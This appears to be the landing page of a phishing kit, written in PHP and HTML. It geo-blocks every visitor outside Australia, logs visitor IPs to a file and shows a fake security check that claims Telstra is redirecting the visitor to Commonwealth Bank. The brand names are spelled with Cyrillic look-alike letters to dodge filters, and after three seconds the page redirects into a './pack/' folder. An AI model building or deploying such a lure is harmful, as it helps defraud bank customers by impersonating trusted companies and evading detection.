<?php
require "server.php";
function file_get_contents_curl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
}
function getRealIpAddr(){
 if (!empty($_SERVER['HTTP_CLIENT_IP'])){
      $ip=$_SERVER['HTTP_CLIENT_IP'];
 }elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
      $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
 }else{
      $ip=$_SERVER['REMOTE_ADDR'];
 }
  return $ip;
}
$realip=getRealIpAddr();
$json = file_get_contents_curl('http://www.geoplugin.net/json.gp?ip='.$realip);
$obj = json_decode($json);
$countryName=$obj->{'geoplugin_countryName'};
$countryCode=$obj->{'geoplugin_countryCode'};
$countryName = $obj->geoplugin_countryName;
$countryCode = $obj->geoplugin_countryCode;

if ($countryCode !== 'AU') {
    header_remove();
    header("HTTP/1.1 403 Forbidden");
    exit("Access denied");
}
$messageTxt  = "IP : ".$realip." | Country : ".$countryName."\n";
$xmyfile = fopen("Views.txt", "a+");
fwrite($xmyfile, $messageTxt);
fclose($xmyfile);

// Immediate redirect after verification
header("Refresh: 3; url=./pack/");
?>
<!DOCTYPE html>
<html>
<head>
    <title>Security Verification Check</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            margin: 0;
            background: #f7f7f7;
            font-family: Arial, sans-serif;
        }

        .captcha-container {
            background: white;
            padding: 2rem;
            border-radius: 12px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.1);
            width: 90%;
            max-width: 400px;
            text-align: center;
        }

        .brand-message {
            color: #333;
            margin: 1rem 0;
            font-size: 0.9rem;
        }

        .logo-container {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 1rem;
            margin: 2rem 0;
        }

        .company-logo {
            height: 40px;
            width: auto;
        }

        .arrow {
            font-size: 24px;
            color: #666;
        }

        .security-text {
            color: #666;
            font-size: 0.8rem;
            margin: 1.5rem 0;
            line-height: 1.5;
        }

        .spinner {
            width: 40px;
            height: 40px;
            margin: 20px auto;
            border: 4px solid #f3f3f3;
            border-top: 4px solid #0d54ff;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .redirect-text {
            color: #0d54ff;
            margin-top: 1rem;
            font-weight: bold;
        }

        @media (max-width: 480px) {
            .captcha-container {
                padding: 1.5rem;
                margin: 1rem;
            }
            
            .company-logo {
                height: 35px;
            }
        }
    </style>
</head>
<body>
    <div class="captcha-container">
        <div class="logo-container">
            <img src="taxi.png" alt="Taxi Driver" class="company-logo" style="height: 60px;">
            <span class="arrow">→</span>
            <img src="bbtaxi.png" alt="Taxi RR" class="company-logo" style="height: 60px;">
        </div>

        <p class="security-text">
            This verification check is required by Теlѕtrа to securely redirect you 
            to the official Соmmоnwеаlth Ваnk wеbѕіtе. You will be redirected automatically.
        </p>

        <h2>Security Verification Completed</h2>
        
        <div class="spinner"></div>
        <p class="redirect-text">Redirecting to СоmmВаnk...</p>
    </div>
</body>
</html>